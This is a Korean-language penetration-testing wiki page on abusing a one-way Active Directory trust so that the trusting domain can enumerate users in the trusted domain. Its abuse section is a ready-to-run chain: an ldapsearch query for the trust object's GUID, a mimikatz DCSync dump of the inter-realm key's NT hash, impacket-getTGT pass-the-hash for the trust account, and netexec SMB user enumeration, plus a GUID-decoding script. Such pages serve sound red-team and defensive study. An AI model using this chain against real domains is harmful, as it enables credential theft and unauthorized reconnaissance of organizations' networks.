External Enumeration

netexec과 같은 상용 도구에서는 SMB 프로토콜을 통해 도메인 유저/공유 폴더 정보를 획득하는 모듈을 지원합니다. 원칙적으로 일방향 신뢰 관계에서 신뢰하는 도메인은 신뢰받는 도메인의 정보를 획득하지 못하지만, 몇가지 우회만 거치면 가능해집니다.

일반적인 환경에서 하는 것과 같이 상용 도구에서 자격 증명을 통해 유저 목록을 열거하려고 하면 신뢰 계정은 로그인 할 수 없다는 오류가 반환됩니다. 하지만 SMB에서 커버로스 인증을 할 땐, 신뢰 계정의 TGT를 이용하더라도 인증이 통과하여 도메인 정보 수집이 가능해집니다.

신뢰 계정에 대한 자세한 정보는 Trust Account를 참고하세요.

Abuse

# Inter-realm Key GUID 검색
ldapsearch -x -H ldap://192.168.1.11 -D "[email protected]" -w "Password123!" -b "dc=contoso,dc=com" "(objectClass=trustedDomain)" objectGUID

# GUID에 대한 NT 해시 덤프(in Windows Shell)
mimikatz # lsadump::dcsync /domain:contoso.com /guid:{a56b1b11-9c3d-4dcd-8a14-d4ea55858bcc}

# 신뢰 계정의 TGT 발급 이후 SMB 인증을 통한 정보 수집
impacket-getTGT pentest.local/contoso$ -hashes :6107efaf7b186264d9f252afdfe4094a
nxc smb pentest.local -u contoso$ -k --users

Practice

신뢰하는 도메인에서는 신뢰 계정이 없기 때문에 직접 TDO 컨테이너에 저장된 Inter-releam Key를 덤프해야 합니다.

TDO로부터 Inter-releam Key GUID 획득

여기서 획득한 GUID는 이진 Base64 인코딩이 적용된 값이므로 파이썬 코드를 통해 디코딩 합니다.

GUID 디코딩 코드
import base64
import uuid

# base64 문자열
b64_guid = ''

raw_bytes = base64.b64decode(b64_guid)
guid = str(uuid.UUID(bytes_le=raw_bytes))
print("GUID:", guid)

획득한 GUID에 대해서 DCSync를 통해 NT 해시를 가져옵니다.

Inter-realm Key

이제 이 키를 통해 신뢰받는 도메인에 있는 신뢰 계정의 TGT를 요청하고 인증할 수 있습니다.

Last updated

Was this helpful?